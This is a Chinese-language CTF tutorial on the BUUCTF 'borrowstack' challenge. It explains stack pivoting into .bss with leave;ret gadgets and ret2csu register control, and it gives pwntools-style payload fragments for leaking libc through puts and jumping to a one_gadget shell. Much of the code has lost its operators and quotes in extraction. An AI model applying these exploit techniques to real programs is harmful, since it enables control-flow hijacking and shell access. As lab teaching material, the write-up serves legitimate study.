栈空间不足时的攻防艺术栈迁移与ret2csu实战解析在CTF竞赛和二进制安全研究中栈空间不足是一个常见但令人头疼的问题。当你精心构造的ROP链因为栈空间不够而无法完整展开时那种挫败感想必每位PWN爱好者都深有体会。今天我们就以BUUCTF平台上的borrowstack题目为例深入探讨如何通过栈迁移和ret2csu技术突破这一限制实现优雅的漏洞利用。1. 理解栈空间限制的本质在开始技术细节前我们需要明确为什么栈空间会成为ROP利用的瓶颈。现代程序运行时每个函数都会在栈上分配自己的栈帧用于存储局部变量、返回地址和保存的寄存器值。当存在栈溢出漏洞时我们通常通过覆盖返回地址来控制程序流进而布置ROP链。然而栈空间是有限的。在borrowstack这个案例中第一次read仅允许我们覆盖16字节——这连一个完整的64位ROP链都放不下。更糟糕的是后续的栈空间可能被其他函数调用占用或者受到保护机制的限制。这时候我们就需要寻找替代的栈空间来承载完整的ROP链。提示栈空间不足不仅影响ROP链长度还会限制参数传递和函数调用链的构造这是许多CTF题目的关键考点。2. 栈迁移开辟第二战场栈迁移的核心思想是将栈指针(rsp)重定向到一块可控的内存区域。在borrowstack中.bss段的bank变量为我们提供了完美的新栈候选.bss:0000000000601080 bank db ? ; ; 第二次read的目标地址2.1 栈迁移的技术原理栈迁移依赖于两条关键指令序列leave等效于mov rsp, rbppop rbpret等效于pop rip通过精心构造的两次leave; ret序列我们可以实现栈指针的完全控制初始栈布局 [旧rbp][返回地址][其他数据...] 第一次leave;ret执行后 rsp 旧rbp rip 返回地址(设置为leave;ret地址) 第二次leave;ret执行后 rsp 我们控制的新地址 rip 新栈上的返回地址2.2 实战中的栈迁移实现在borrowstack中我们需要构造两个关键payloadPayload1 - 栈迁移准备payload1 ba*0x60 # 填充缓冲区 payload1 p64(new_stack_sp - 0x10) # 覆盖rbp为新栈地址-0x10 payload1 p64(leave_ret) # 覆盖返回地址为leave;ret gadgetPayload2 - ROP链布置payload2 ba*(offset - 0x10) # 填充到新栈位置 payload2 p64(0) # 新的rbp值(可忽略) payload2 ROP_chain # 完整的ROP链注意新栈地址需要足够高以避免覆盖.bss段中的关键数据(如GOT表)通常需要实验确定最佳偏移量。3. ret2csu参数传递的万能钥匙栈迁移解决了空间问题但64位程序中的参数传递(通过rdi、rsi、rdx等寄存器)仍然是个挑战。当缺少合适的gadget时__libc_csu_init中的万能gadget就派上用场了。3.1 ret2csu的工作原理在x64的__libc_csu_init函数中存在两段极其有用的代码序列寄存器设置部分(0x4006E0)mov rdx, r13 mov rsi, r14 mov edi, r15d call qword ptr [r12rbx*8]寄存器弹出部分(0x4006FA)pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret通过组合这两部分我们可以控制rdx、rsi和edi(rdi的低32位)寄存器实现三参数函数的调用。3.2 在borrowstack中的应用我们需要调用read(0, new_stack, 0x100)来读入one-gadget这需要三个参数# 设置read调用的参数 payload2 p64(csu_init_pop) # pop rbx; rbp; r12; r13; r14; r15; ret payload2 p64(0) # rbx 0 payload2 p64(1) # rbp 1 (满足后续cmp rbx, rbp) payload2 p64(elf.got[read]) # r12 read的GOT地址 payload2 p64(0x100) # r13 rdx 读取长度 payload2 p64(new_stack 0x8*9) # r14 rsi 目标地址 payload2 p64(0) # r15 edi fd (0为标准输入) payload2 p64(csu_init_call) # 调用read4. 完整利用链的构建结合栈迁移和ret2csu我们可以构建完整的利用流程泄露libc地址通过puts泄露GOT表中的函数地址计算one-gadget地址基于泄露的地址计算libc基址读入one-gadget使用ret2csu调用read触发shell跳转到one-gadget执行关键exp代码结构# 栈迁移payload payload1 ba*0x60 p64(new_stack_sp - 0x10) p64(leave_ret) # ROP链payload payload2 ba*(offset - 0x10) payload2 p64(0) # 新rbp payload2 p64(pop_rdi_ret) p64(elf.got[puts]) # 泄露puts地址 payload2 p64(elf.plt[puts]) payload2 p64(csu_init_pop) p64(0) p64(1) p64(elf.got[read]) payload2 p64(0x100) p64(new_stack_sp 0x8*9) p64(0) p64(csu_init_call) # 计算libc基址并发送one-gadget libc_base u64(p.recvuntil(\n)[:-1].ljust(8, b\x00)) - libc.sym[puts] p.sendline(p64(libc_base one_gadget) p64(0)*10)5. 调试技巧与注意事项在实际操作中有几个关键点需要特别注意栈对齐问题x64架构要求栈16字节对齐否则可能导致函数调用失败GOT表保护确保迁移后的栈不会覆盖关键的GOT表条目one-gadget约束不同版本的one-gadget有不同的约束条件需要仔细选择调试时可以借助gdb观察栈迁移前后的变化gdb.attach(p, b *0x400699 # 在leave;ret处断点 c )通过观察rsp和rbp寄存器的变化可以验证栈迁移是否成功。